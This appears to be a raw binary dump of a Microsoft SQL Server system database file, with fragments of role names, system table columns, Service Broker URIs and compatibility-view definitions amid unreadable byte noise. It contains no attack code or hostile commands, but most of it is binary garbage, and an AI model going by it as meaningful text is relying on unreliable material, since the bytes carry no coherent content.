Z'	'}^&8`u(	H\@w&)AutoCreatedLocal0wAUwAU	223public0wAUwAU	012guest0@|AU|AU	667db_owner0@|AU|AU	BBCdb_accessadmin0@AUAU	FFGdb_securityadmin0@AUAU	<<=db_ddladminr0@AUAU	HHIdb_backupoperator|0@AUAU	@@Adb_datareader;0@AUAU	@@Adb_datawriter0@AUAU	HHIdb_denydatareader0	@AUAU	HHIdb_denydatawriter|(|JJJJJ||(x;|(||||Dx;$||4|(|getdate||(X|
					Fͧ\\\\p||Dx;sssss||4&&&&||getdate|p|(X|
FͧP||Dx;||4||(x;)))))88
||||||P|IIII(||Dx;[[[[[|l|4p||(x;3rs |(|Dx;]]]]]D|4|p|sysusersx||HXW|	|4 	||px;WLLLLL|0|	` ~($	|	|x|`}_nnnnn,
|.T|T|
|t7||0|
||$Ӧv;;;;
|	|$x;[|NNNN####
|	|X@|
||
|x;
sysusersx|
|XXlllll0|^H9999||(x;;;;;; 88
|nnnn|x|@P||Dx;||||4
||(x;a88
||P|#(
||Dx;
|l||4BBBBfh
||db_accessadmin@
|(
|(x;4
|
|h
|99999db_accessadminllllH|
|Dx;ʬ|
|o4|
|(x;3s] |H|Dx;|d|0@4 ||;;;;;nnnn|h||(x;|@@@@| |-----xxxx|h|Dx;wwwww|<|x|4""""@0(||NNNNNgetdatep||(X|
=====sysuFͧhhhh|(|Dx;l|D|4||p|getdateP||(X|
bbbbbFͧ7777||Dx;]]]]]D|$|4k1|P|(x;qqqqq88
|$$$$(||QQQQH||Dx;jjjjj|||4????|(|(x;300 @||Dx;|4|x||MMMMMsysusers|8||@|HXW%%%%%|L|\		 ppppp|x|px;WYYYYYl|	` ~(|0||`}_00000|0@|h|50|length@0 ||60|X|00X||7eeeex|p|$x;[|0@
8|0|X@|T|h|x|x;
`````sysusers5555|8|XX00^H(|h|(x;|88
D|P||@||(|Dx;D||4GGGG0@|P|(x;88
|EEEE(||_____



||Dx;l||4|A|(|	"db_securityadmin| ||
(x;4<|P||db_securityadmin| |Dx;||(|4|P|
(x;30@ h||Dx;||@04(|||ZZZZhh|h|(x;KKKKK`h||||h||Dx;;;;;;||4nnnn||"""""getdatewwww|h|(X|
erFͧLLLLH||Dx;||004|x||tttttgetdate!!!!|H|(X|
Fͧ(|x|Dx;ttttt||4!!!!fsp||(x;88
||(|**** ||p|Dx;OOOOOd|D|&4H0H||(x;3""""" wwww||Dx;bbbbb|0@47777|H|}}}}}sysusers((((|P||HXW88888ww

@ mmmm w| px;Ww 	` ~(<w1004`Ht0`
Z)	?V^(8``V
*@}?`.-i,jkplqm.nqoqpxqxrsI||}ft@u@@@@@@@@@@@@@	
@
@@
@
@@@@@@@@@@@@@@@@@@@@@@ @ !@!"@"x@!#@#@!$@$@%@%x@&@&@'@'(@()@)*@*+@+,@,x@+-@-@+.@.@+/@/@+0@0@1@1@
m
/
		u	N

		V	7		^ fG}?(	
nO0vW~8_@!Hg)
owX9`P1<H	+^I%p@ ?<[<K<J<<,<6<,/<"<<<
<<<]<x.P<"<)<Xv<Xe"$kJr0sTt~xKR[{vO|7~"BgtiMە
z
v8Hk,!ytCi#zz&Г3,")(+)B.*-+$0,/-H0.
5/n30ϓ41^=2`d83ĄX94L:56@;6.A7@HaDI7CJeEKԫNLGMTȚHNJO4wKX8YkLYSNZc5U[)V\Z]VTY^^_bQr`WZb}HhBd-Wnf{npJytxu.v	sy#2z<J<K~<)<x.P)=Gs*M{T0X:]vfa7e;++f!ei(lݜqY&sh@DtZl|0b{}~/+>+"<7N$Oj<"HU׶l\ed ig!.ֺj"gw#X{$0)%
"&xgt	'$S
	(Jb)|*+g]$,w$-%.Q./6e/@//Ao*Y0Bb1C}v2DS)4E)3F6Gpp8PFf8Q9R9S:T:UFVHWJ`:Ka^LbPcsBRdW~VeWf^g<]!Xa`Y<bZq[/Ps\,s]wZu^y_<)zxyLz	{.|{/}.~>0T:0b46\8T<?r>DhF?+=ETL;sNQaTZZ-~_x}h MO;<<8zL<)E23!֌ `"=qGHIJVL<VEYxZ\ ;f!H&{9{̴~1oV34bO$ґ%'4A*(p-)(2;7*<+Y1?,<4-Y[.nx/
^h1RiUFjFk4z:lm.mW nҬ op6!"m$c%<J<@<<<
<K<A<"<^<_t	QQQooTF׋u(ʭ0Қ0PTxUsʭ	^^^^^ߋ0U0U$ʭ	PPPPP	,,c܋p$U	uuuuu,܋    ܋܋n$ʭU܋pՄ܋܋lʭ	|||||pwm,^P(((((#0`}}}}@H8L,^eeeee#0`0000xPO,s$#0`@ƄԄ0ʭ$0`f$Ƅńދ[ „Rr0L>̮0`f0`<„MMMMXp]ՄքL\י<ӋX4444[4IIIIքPքLsssss\יҋY====[&&&&PքքL\י4ҋ|Y====[t0Š;քքLPPPPP\יыY[0@ք(ׄ~Luuuuu\י
,ы\ZUU[    0@(ׄpׄ|L\יЋZ44[TxXpׄׄzL|||||\י<Ћ<[4444[))))ׄ[xLKKKKK\י
ϋ[4444[ [ „wPSٙ	Dϋ
T؄qf4駧XXh]4htttttXX0@\0@X0@\0@!!!!\80w4hOOOOOX,ЉX0@`]X0@L(@l
`x8dt$	Pt	P(<p	\	H	|4	h	 	
T|
h@
T@
,,


t
`
l8
L

X
xX
D|$
PhdT0D
0
<
(
t
`L,8`t8L$$|Th,@\ppx4\H lXdDP<0p\	4H H(lx4DX	0 



d<			`<,O~'0<@$	?%I=@`A?@8$??PA?20<>"0<?"0<<$@\>{G}:qcR:@8R:PAD?@@@08@Th|FD?A? A?@@?@?
@@?C?<,B?F	S@\?E@=@@2@_.
J@0<< "0<<$
3C\/h?!<**b'AD@@b'A.	6	P{3Tu;\}"Cd	*Kl	0??g4[dbo].[sp_ExternalMailQueueListener]0???c4[dbo].[sp_syspolicy_events_reader]0???4[msdb].[dbo].[sysutility_ucp_cpu_utilization_stub]0???w4[msdb].[dbo].[sysutility_ucp_databases_stub]0???y4[msdb].[dbo].[sysutility_ucp_filegroups_stub]0???{4[msdb].[dbo].[sysutility_ucp_smo_servers_stub]0???s4[msdb].[dbo].[sysutility_ucp_volumes_stub]0??Y4microsoft.sqlserver.types.dll0C?!0 B?!0KD?80??!0@@?!0???!0@?!0@?!0@?!0???!0@?!0???!0??!0@@?!0??!"0@@@!\0@@@!_0??!c0@?!x0@@?!~0???!0@?!0???!<0???!0???!R0???!0???!0???!0??!"0@?!0???!#0@@?!0@?!
0???8ծ'0<< "0<<$C\>@ D@]e/F@D?8B???0<< "0<<$D\?L=@@D@)@WnC?D?B?HB?PA?A?@?@???@@@
???pA?pA? A?@@@@@@@@???"0<< "08@Th|FD?A? A?@@?@?
@@?C?<,B?F	S@\?E@=@@2@_.
J@0<< "tR0
f			a	?		`:5&F\
Z<-Ov
^8  @@`@63D.	6A0
6A8
6A8	
6A8


6A
6A8
6C8
6C4
6C8
6C
6C8
6D$
6Dh
6D
6D
6D
6D
6D
6D
6D			
6D

8

6D8!
6D=%
6D

=-

6D85
6D$9
6D4I
6D4K
6D0M
6D8N
6D@
6E8
6E4
6E
6E
6E
6E
6E=
6G$
6G8
6G8
6G8
6H$
6H$
6H0$
6H%
6H-
6I$
6I0
6I$
6I%
6I8-
6I81
6I5
6I=7
6I		8?	
6I

8C

6I$G
6IW
6I

_

6Ig
6Io
6I8w
6I={
6I=
6I8
6I
6I$
6I8
6I8
6I$
6I
6I
6J0
6J8
6J8	
6J8

6J8
6J8
6Km0
6Km8
6Km8	
6Km8


6Km8
6Km8
6N0
6N8
6N8	
6N$

6N8
6Za8
6Za8
6Za8	
6Za@
6[a8
6[a8
6[a8
6[a0
6[a8
6[a
6[a8
6[a
6[		a	
6[

8

6[ 
6[@
6\p8
6\s8
6\p
6\p4
6\r@
6]8
6]8
6]8
6]8
6]8
6]8
6]@
6^0
6^8
6^ 
6^	
6^@
6^8

6_8
6_4
6_ 
6_8
6_
6_=
6_
6_
6_		@	
6`8
6DR
`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`<B>/^hLPe0<,$	??@??@??0<,$	????pA?@@?@%_0??sys((sys@0<."0<."0<."0<."0<1"0<2$	?&=@A@2I`w/F]t??"???$??0???8?@?<???>??b??c??h???l??z????????????????????0<2$	?&=&=0AA@_B[A@A?0<2$	?&=&=&=0AA_B[A@@:a+\Hm0??#bigint0??#binary0??bit0??char0??'datetime0??%decimal0??!float0??!image0??int0?@?'nvarchar0??real0??1smalldatetime0??'smallint0??+smallmoney0??-sql_variant0??%sysname0??text0??)timestamp0??%tinyint0??7uniqueidentifier0??)varbinary0??%varchar0??xml((Hbigintchardecimalncharvarcharsmalldatetimeql_varianttextuniqueidentifier@

*480<3"0<3"0<0 "0</ "0<- "0<2 "0<2$0"?Z""?!=?B?$8L`t(<Pdx??"???$??(???*??+??0???8?@?<???>??b??c??h???l??z????????????@???@@???"0<, "0<,$7[?@?@'??0<, "0<,$7[?@?@'??0<1 "0<1 "0<1 "0<.$O0^?@@@>F'??h??0<.$O0^??B@B@c0??S##MS_AgentSigningCertificate##0??##MS_SchemaSigningCertificateFBBED91EB3ECA494D27028E6F5921426EBFA28A8##((`##MS_AgentSigningCertificate##SchemaSigningCertificateFBBED91EB3ECA494D27028E6F5921426EBFA28A8##@@B7
lk4I'V`'0EKZ0'X 88	http://schemas.microsoft.com/SQL/ServiceBroker/Error0'E 88	http://schemas.microsoft.com/SQL/ServiceBroker/EndDialog0'X 88	http://schemas.microsoft.com/SQL/Notifications/QueryNotification0'X 88	http://schemas.microsoft.com/SQL/Notifications/EventNotification0'E 88	http://schemas.microsoft.com/SQL/ServiceBroker/DialogTimer0'X 88	http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/MissingRoute0'X 88	http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/FailedRoute0'X 88	http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/MissingRemoteServiceBinding0'	X 88	http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice/FailedRemoteServiceBinding0'
N 88	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceEcho/Echo0'X 88	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Query0'X 88	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Status0'
N 88	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic/Description0'N ==	=DEFAULT0'==	http://schemas.microsoft.com/SQL/Notifications/PostQueryNotification0'==	http://schemas.microsoft.com/SQL/Notifications/PostEventNotification0'==	http://schemas.microsoft.com/SQL/ServiceBroker/BrokerConfigurationNotice0'==	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceEcho0'==	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceDiagnostic0'==	=DEFAULT0'BB	http://schemas.microsoft.com/SQL/Notifications/QueryNotificationService0'BB	http://schemas.microsoft.com/SQL/Notifications/EventNotificationService0'BB	http://schemas.microsoft.com/SQL/ServiceBroker/ServiceBroker0'N |[|[	{//www.microsoft.com/databasemail/messages}SendMail0'N |[|[	{//www.microsoft.com/databasemail/messages}SendMailStatus0'|[|[	//www.microsoft.com/databasemail/contracts/SendMail/v1.00'|[|[	UInternalMailService0'|[|[	UExternalMailService0')\)\	_syspolicy_event_listenerP;'''''rrrrl(E`ERP;PPPPP`E@FPP;PS(E`P; BpC.`}_:::::l[ooooCCCCХxF8P;T@@VX@#??@T\L쵌0@T0@T\0@UPGѠ#@U??@\L$U0@U0@\Vg `}ό<όΌ\Ό͌]_gй P;11111ddddA0A_ `}ό<όΌ\Ό͌όh B0 L>uuuuul0<B    @LB ʭ<
04̑M N ʭ<
088
@@@@O
 ʭ<
088
DXXa j,T0@,X0T j,T،8(((((0J}}}}ˌ8s666660ccccƌ8#####0vvvv080JPڌ8ccccc0J6666BÌ$8	ߙt	Z4̉2@@@@@Ì@L!8ʭ$04C0M8	vvvvvߙD	l[44l####0MM8ʭ$044@CN8	ߙ쎋	44NO8ʭ>>>>>$044kkkkԌP@DTЌȌXČďLlHco
,
\
9
X	3>GpE`
Z
1t{^R8`%,L2@*[\0%!uM2sys0%8[8[schema_collection_Performance Counters Collector Type0%[[schema_collection_Generic T-SQL Query Collector Type0%[[schema_collection_Generic SQL Trace Collector Type(`.6UwV3^k:ޖ6I$
6I8
6I
6I$
6I
6I
6J0
6J8
6J8	
6J8

6J8
6J8
6K{0
6K{8
6K{8	
6K{8


6K{8
6K8
6N0
6N8
6N8	
6N$

6N8
6Zc8
6Zc8
6Zc8	
6Zc@
6[c8
6[c8
6[c8
6[c0
6[c8
6[c
6[c8
6[c
6[		c	
6[

8

6[ 
6[@
6\r8
6\u8
6\r
6\r4
6\t@
6]8
6]8
6]8
6]8
6]8
6]8
6]@
6^o0
6^o8
6^o 
6^o	
6^o@
6^o8

6_8
6_4
6_ 
6_8
6_
6_=
6_
6_
6_		@	
6`8
6I0
6R8
6R8
6R8
6R
6R8
6R
6R$
6R,
6U8
6U
6U8
6U0
6V8
6V8
6V
6V$
6V8
6V4
6W
6W8
6W@
6PU
6P4
6P4
6P8
6P8
6P=
6P=
6P4
6T8
6T=
6T8
6T4
6T$
6Y8
6Y8
6Y
6Y
6Y
6Y
6Y
6Y8$
6Y		4(	
6Y

p

6Y=)
6Y=1
6O8
6O

6O8
6O
6O=
atus ۰8۰U(x;88
۰۰h۰VEEEEEO	 ܰ۰W$x;ڰ۰88
$hܰ۰X(x;00ܰҐܰ ܰYܰhܰZ$x;=====۰|,hhhhhh ݰܰ[(x;''''',88
<ݰrrrrHݰܰ\ ,Zݰ ݰ]XnܰݰݰHݰ^$x;dݰްްްݰ_$x;-----ܰݰxxxxPްXްݰ`(x;88
tްްްa#####vvvvްXްb$x;!!!!!,ް$tttt߰ްc$x;ְ|ڰ$88
XTl2


J

b(z@

X

		p	6	Nf,~D
Ld*|Ph.FBZ^$v< r8n4\"t:Rj0H`7d4Pc""""""""")))))),,,,,.....1111222223333336666777:::::;;;;;;<<<<@@@@AAAACCCCDDDEEEEEG7777>>>???	
8800//--999***++				
@""))62))):::6,,)"	111@<<<<""
xxxxxxxxx	<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z	u\{u\{u\{u\{u\{u\{u\{u\{u\{||||7777VVVVVVVWx}x}x}x}x}>>>???P	
8800//--999***++TYYYYOO				
JJ@"U"""U"Ux.P]!]!]!]!]!]!]!x.Px.P
x.P	x.Px.Px.Px.Px.P	x.P
x.Px.P^^^&m1&m1_2_233444))62))):::6,,)"	111@<

 		lXD0 
t
`
L
8
$
|hT@,xd
H	\	Pp	<4	($t`L8$(P<p\Hxd48 L\`plPtX4DH0<l


|
h
T
@




,
D
X
(		xd|h@T,P<(0



					t`q-8+)5
f0-E88
9id0-E4=name0-EAremsvc0-EEbrkrinst0-E=addr0-ECmiraddr0-E==Elifetime0-G$$9id0-G88
Iservice_id0-G88
Astatus0-G88
Erefcount0-H$$Ahandle0-H$$Adiagid0-H00Ginitiator0-HCsendseq0-HEsendxact0-I$$Adiagid0-I00Ginitiator0-I$$Ahandle0-IArcvseq0-I88
Crcvfrag0-I88
Astatus0-I?state0-I==Elifetime0-I	88
Econtract0-I
88
?svcid0-I$$Gconvgroup0-IAsysseq0-I
Genddlgseq0-IKfirstoorder0-IIlastoorder0-I88
Mlastoorderfr0-I==Edlgtimer0-I==Gdlgopened0-I88
Cprincid0-IGoutseskey0-I$$Koutseskeyid0-I88
Ifarprincid0-IEinseskey0-I$$Iinseskeyid0-IAfarsvc0-IKfarbrkrinst0-I00Epriority] = 'S' or [xtype] = 'U')) then (objectproperty([id],'TableInsertTrigger')) else 0 end))0(convert(int,case when (([xtype] = 'S' or [xtype] = 'U')) then (objectproperty([id],'TableUpdateTrigger')) else 0 end))05(convert(int,0))0}(convert(int,(case when ([status] & 0x80000000 <> 0) then 2 else 0 end + case when ([replinfo] & 1 <> 0) then 32 else 0 end + case when ([replinfo] & 2 <> 0) then 64 else 0 end + case when ([replinfo] & 4 <> 0) then 256 else 0 end + case when ([xtype] = 'P' and ([status] & 2 <> 0)) then 16 else 0 end + case when ([xtype] = 'D' and ([parent_obj] <> 0)) then 2048 else 0 end + case when (([xtype] = 'S' or [xtype] = 'U')) then (case when ([status] & 0x20 <> 0) then 1 else 0 end + case when ([status] & 0x0400 <> 0) then 4 else 0 end + case when ([status] & 0x0800 <> 0) then 8 else 0 end + case when ([status] & 0x1000 <> 0) then 128 else 0 end + case when ([status] & 0x0100 <> 0) then 512 else 0 end + case when ([status] & 0x0200 <> 0) then 1024 else 0 end + case when ([status] & 0x2000 <> 0) then 2048 else 0 end + case when ([status] & 0x4000 <> 0) then 4096 else 0 end + case when ([status] & 0x10 <> 0) then 16384 else 0 end) else 0 end)))0?(convert(smallint,0))0!(8000)00(case when ([rowcnt] > 2147483647) then 2147483647 else (convert(int,[rowcnt])) end)0(convert(tinyint,(([bitpos] & 7) + case when ([typestat] & 1 = 0) then 8 else 0 end + case when (([typestat] & 2 <> 0 or (type_name([xtype]) = 'image' or type_name([xtype]) = 'text') and [colstat] & 0x1000 <> 0)) then 16 else 0 end + case when (((type_name([xtype]) = 'image' or type_name([xtype]) = 'text') and [colstat] & 0x2000 <> 0 or (type_name([xtype]) = 'timestamp' or (type_name([xtype]) = 'char' or type_name([xtype]) = 'binary')) and [typestat] & 1 = 0)) then 32 else 0 end + case when ([colstat] & 4 <> 0) then 64 else 0 end + case when ([colstat] & 1 <> 0) then 128 else 0 end)))0(convert(tinyint,xtypetotds([xtype],(1 - ([typestat] & 1)))))0(convert(smallint,columnproperty([id],[name],'oldusertype')))0W(convert(varchar(255),[autoval]))0(convert(smallint,case when ((type_name([xtype]) = 'ntext' or (type_name([xtype]) = 'image' or type_name([xtype]) = 'text'))) then null when (type_name([xtype]) = 'uniqueidentifier') then [xprec] else (odbcprec([xtype],[length],[xprec])) end))0O(odbcscale([xtype],[xscale]))0](convert(int,sign(([colstat] & 4))))0](convert(int,sign(([colstat] & 4))))9

j
!
		L		s*WGCz5j)Z!\`p-:g)e6*Χ0-,88
Cintprop0-,==Ccreated0-,==Emodified0-.88
9id0-.4=name0-.ttAissuer0-.=snum0-.  Ithumbprint0-.		=pkey0-.Eencrtype0-.@=cert0-.	88
Astatus0-100?class0-188
9id0-188
?subid0-14=name0-1bbPP?value0-288
9id0-288
?schid0-24=name0-200?xtype0-244Alength0-200=prec0-200?scale0-288
Kcollationid0-2	88
Astatus0-2
==Ccreated0-2==Emodified0-288
=dflt0-2
88
;chk0-300?class0-388
Cidmajor0-388
?subid0-3=name0-300?xtype0-388
?utype0-344Alength0-300=prec0-3	00?scale0-3
88
Kcollationid0-388
Astatus0-388
Cintprop0-688
9id0-688
?indid0-64=name0-688
Astatus0-688
Cintprop0-600Efillfact0-600=type0-600Etinyprop0-6	88
Gdataspace0-6
88
?lobds0-6Arowset0-788
Cidmajor0-788
Cidminor0-788
?subid0-788
Astatus0-788
Cintprop0-700Gtinyprop10-700Gtinyprop20-.
==Qlastpkeybackup0-700Gtinyprop30-888
9id0-84=name0-800Eprotocol0-800=type0-844?bstat0-8Eaffinity0-844?pstat0-844?tstat0-8	88
Ctypeint0-8
88
?port10-888
?port20-8=site0-8
Adfltns0-84Ewsdlproc0-84Adfltdb0-84Gauthrealm0-84Adfltdm0-888
Cmaxconn0-800Aencalg0-800Eauthtype0-088
?srvid0-088
?lgnid0-04=name0-088
Astatus0-0==Amodate0-0@@Cpwdhash0-/88
?srvid0-/4=name0-/88
?lgnid0-/88
Astatus0-/==Amodate0--88
9id0--44Gmsglangid0--44Eseverity0--44Astatus0--4=text0-988
9id0-9Cnmspace0-9?alias0-94Cobjname0-988
Astatusd0->Inull_value0->Mon_disk_size0->Edata_ptr0-?Chobt_id0-?88
Gcolumn_id0-?88
Odictionary_id0-?88
Cversion0-?88
=type0-??flags0-?88
Clast_id0-?Kentry_count0-?	Mon_disk_size0-?
Edata_ptr0-888
9id0-84=name0-800Eprotocol0-800=type0-844?bstat$_&]OSMO7l-

f
'
^X

\

		T		Z`L
P\hc"e&a"~'hd+c`
Z77D#ُ^48`5-9D)^
8(0-J00?class0-J88
?depid0-J88
Edepsubid0-J88
Cindepid0-J88
Iindepsubid0-J88
Astatus0-K00?class0-K88
?depid0-K88
Edepsubid0-K88
Cindepid0-K88
Iindepsubid0-K88
Astatus0-N00?class0-N88
9id0-N88
?subid0-N$$=guid0-N88
Astatus0-R88
Ccprelid0-R88
Afragid0-R88
Gfragobjid0-R9ts0-R88
Astatus0-REdatasize0-RCitemcnt0-RArowcnt0-U88
Istoplistid0-UEstopword0-U88
=lcid0-U00Astatus0-V88
Uproperty_list_id0-V88
Kproperty_id0-VOproperty_name0-V$$Sguid_identifier0-V88
Qint_identifier0-V4Ystring_description0-WAmsgref0-W88
?count0-W@Cmsgbody0-PUU=lsid0-P4?iname0-P4Gipipename0-P88
;pid0-P88
Astatus0-P==Acrdate0-P==Amodate0-P4Gsysdbpath0-T88
Kdatabase_id0-T==Oregister_date0-T88
Oregistered_by0-T4Cversion0-T$$Efileguid0-Y88
9id0-Y88
=tgid0-Y;low0-Y=high0-YArowcnt0-Y=size0-Y;csn0-Y88
?epoch0-Y	4Astatus0-Y
ppChistory0-Y==Ccreated0-Y==Emodified0-O88
9id0-O

;lsn0-O88
?epoch0-O;csn0-O==Ccreated
?subid0-a=name0-a88
Astatus0-a88
Cintprop0-Xv00Astatus0-Xv00Epriority0-XvQjqueuing_order0-Xv$$_conversation_group_id0-Xv$$[conversation_handle0-Xvcmessage_sequence_number0-Xv$$Imessage_id0-Xv88
Smessage_type_id0-Xv	88
Iservice_id0-Xv
88
[service_contract_id0-b00Edepclass0-b88
?depid0-b00Iindepclass0-b4Gindepname0-b4Kindepschema0-b4Cindepdb0-b4Kindepserver0-b88
Anumber0-b	88
Astatus0-`	4@Gbatchtext0-`
4@Sparamorhinttext0-R88
Ccprelid0-R88
Afragid0-R88
Gfragobjid0-R9ts0-R88
Astatus0-REdatasize0-RCitemcnt0-RArowcnt0-U88
Istoplistid0-UEstopword0-U88
=lcid0-U00Astatus0-V88
Uproperty_list_id0-V88
Kproperty_id0-VOproperty_name0-V$$Sguid_identifier0-V88
Qint_identifier0-V4Ystring_description0-WAmsgref0-W88
?count0-W@Cmsgbody0-PUU=lsid0-Pac&m0
;
		b		o$Q
o
 
?9?|A

~
]"t7?n/f#`8-<)9%:0-Z88
;qid0-Z88
=hash0-Z88
;nid0-Z@@=name0-[88
9id0-[88
?xsdid0-[88
Auriord0-[00=qual0-[88
Anameid0-[Esymspace0-[88
Cnmscope0-[=kind0-[	?deriv0-[
88
Astatus0-[=enum0-[@@Adefval0-\88
Acompid0-\88
;ord0-\=kind0-\44Astatus0-\@@=dflt0-]88
Gplacingid0-]88
Cordinal0-]88
Eplacedid0-]88
Astatus0-]88
Eminoccur0-]88
Emaxoccur0-]@@Adefval0-^00?class0-^88
9id0-^  Ithumbprint0-^=type0-^@Acrypto0-^88
Astatus0-_88
9id0-_4=name0-_  Ithumbprint0-_88
Gbitlength0-_Galgorithm0-_==Emodified0-_=pkey0-_Eencrtype0-_	@?pukey0-`88
9id0-`4=name0-`00Gscopetype0-`88
Cscopeid0-`=hash0-`88
Astatus0-`==Ccreated0-`==Emodified0-`	4@Gbatchtext0-`
4@Sparamorhinttext0-a00?class0-a88
Cidmajor0-a88
?subid0-a=name0-a88
Astatus0-a88
Cintprop0-b00Edepclass0-b88
?depid0-b00Iindepclass0-b4Gindepname0-b4Kindepschema0-b4Cindepdb0-b4Kindepserver0-b88
Anumber0-b	88
Astatus0-04Qversion_string0-088
Oversion_major0-088
Oversion_minor0-088
Oversion_build0-088
Uversion_revision0-088
;Hid0-"U4=dbms0-"U4Cversion0-"U88
ERdbms_id0-88
Cdbms_id0-4=type0-88
gMcreateparams0-88
MZdatatype_id0-x.P88
Ksrc_dbms_id0-x.P88
Mdest_dbms_id0-x.P88
Ssrc_datatype_id0-x.Pv8Ksrc_len_min0-x.P#,Ksrc_len_max0-x.P\ Msrc_prec_min0-x.PMsrc_prec_max0-x.P		Osrc_scale_min0-x.P
,Osrc_scale_max0-x.Phh@PMsrc_nullable0-x.P88
ytkdefault_datatype_mapping_id0-x.P88
CPmap_idv0-]!88
Amap_id0-]!88
Udest_datatype_id0-]!M#Qdest_precision0-]!88
r$Idest_scale0-]!A%Kdest_length0-]!hhzz&Odest_nullable0-]!88
n'Wdest_createparams0-]!	hhc(Edataloss0-]!88
]jdatatype_mapping_id0-Г3,Gdbms_name0-Г3,Esql_type0-Г3,Gdest_type0-Г3,Gdest_prec0-Г3,88
Ydest_create_params0-Г3,hhOdest_nullable0-	'-88
Imapping_id0-	'-Ksource_dbms0-	'-Qsource_version0-	'-Ksource_typems{0?l%v<UMb,m:`S>eQQ
|
5
l/h/

n
)
		R		Z\PDJ	LF	P`6-q4)RF:0-:00?class0-:88
9id0-:88
=nsid0-:=name0-:88
Astatus0-:=type0-:88
Cintprop0-:==Ccreated0-:	==Emodified0-;00?class0-;88
9id0-;88
?subid0-;88
Cgrantee0-;88
Oaudit_spec_id0-;=type0-;?state0-<00Evalclass0-<88
?objid0-<88
Esubobjid0-<88
Avalnum0-<bbPP?value0-<@Eimageval0->Chobt_id0->88
Gcolumn_id0->88
Isegment_id0->88
Cversion0->88
Oencoding_type0->88
Grow_count0->88
Astatus0->Cbase_id0->	>>5Gmagnitude0->
88
_primary_dictionary_id0->88
csecondary_dictionary_id0->Kmin_data_id0->
Kmax_data_id0->Inull_value0->Mon_disk_size0->Edata_ptr0-?Chobt_id0-?88
Gcolumn_id0-?88
Odictionary_id0-?88
Cversion0-?88
=type0-??flags0-?88
Clast_id0-?Kentry_count0-?	Mon_disk_size0-?
Edata_ptr0-@00?class0-@88
9id0-@4=name0-@88
Astatus

P

s0q"

S

	r	'	eSx1j)`!RVR`-p8)f*;.r/0-88
Qinternalstatus0-

Kreadonlylsn0-

Mreadwritelsn0-

Sreadonlybaselsn0-

Qfirstupdatelsn0-

Olastupdatelsn0-

Gbackuplsn0-

Kdiffbaselsn0-$$Mdiffbaseguid0-==Mdiffbasetime0-

Qdiffbaseseclsn0-

Mredostartlsn0-

Oredotargetlsn0-$$Eforkguid0-

Cforklsn0- Aforkvc0-!$$Wredostartforkguid0-88
Edbfragid0-88
Aphfgid0-88
=fgid0-=type0-$$Afgguid0-88
Algfgid0-88
Astatus0-4=name0-88
Edbfragid0-88
Afileid0-88
?grpid0-88
Astatus0-00Efiletype0-00Gfilestate0-88
=size0-88
Cmaxsize0-	88
Agrowth0-
4?lname0-4?pname0-

Gcreatelsn0-


Cdroplsn0-$$Efileguid0-88
Qinternalstatus0-

Kreadonlylsn0-

Mreadwritelsn0-

Sreadonlybaselsn0-

Qfirstupdatelsn0-

Olastupdatelsn0-

Gbackuplsn0-

Kdiffbaselsn0-$$Mdiffbaseguid0-==Mdiffbasetime0-

Qdiffbaseseclsn0-

Mredostartlsn0-

Oredotargetlsn0-$$Eforkguid0-

Cforklsn0-Aforkvc0-$$Wredostartforkguide]) = 'text'))) then null else (typeproperty([name],'precision')) end))w0s(convert(tinyint,typeproperty([name],'scale')))0(convert(sysname,collationpropertyfromid([collationid],'name')))0m(convert(smallint,(2 + 4 * ([status] & 1))))0?(convert(smallint,0))0O(convert(bit,([status] & 1)))0	O(convert(bit,([status] & 2)))0
(convert(nvarchar(4000),case when ([status] & 2 = 2) then (uncompress([ctext])) else [ctext] end))0?(convert(smallint,0))0?(convert(smallint,0))0	O(convert(bit,([status] & 2)))0
O(convert(bit,([status] & 4)))0O(convert(bit,([status] & 8)))G0?(convert(smallint,0))0	?(convert(smallint,0))0
(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],1,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],3,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],5,2))),0)))0
(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],7,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],9,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],11,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],13,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],15,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],17,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],19,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],21,2))),0)))F0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],23,2))),0)))0(convert(smallint,isnull(convert(binary(2),reverse(substring([forkeys],25,2))),0)))4O
n

8
Qf

F

		D		{:u8u8uUh<I`-
)?<%UNJ0-Xv00Astatus0-Xv00Epriority0-XvQjqueuing_order0-Xv$$_conversation_group_id0-Xv$$[conversation_handle0-Xvcmessage_sequence_number0-Xv$$Imessage_id0-Xv88
Smessage_type_id0-Xv	88
Iservice_id0-Xv
88
[service_contract_id
?type0.4?name0.bbP
Avalue0.88

;id0.88

Adepid0.44

Cnumber0.44
IdepnumberZZZ0.44
Cstatus0.00
Edeptypelll0.44
Edepdbid###0.44
Idepsiteidy0.hh		
Cselall0.hh


Iresultobj

0.hh
Ereadobj80.88

Econstid0.88

Cfkeyid0.88


Crkeyid0.44
IrkeyindidC0.44
Ckeycnt0. 
Eforkeys0. 
Erefkeys0.44
Gfkeydbid0.44		
Grkeydbid0.44


Afkey10.44
Afkey20.44
Afkey30.44


Afkey40.44
Afkey5g0.44
Afkey640.44
Afkey70.44
Afkey80.44
Afkey9;0.44
Cfkey10d0.44
Cfkey110.
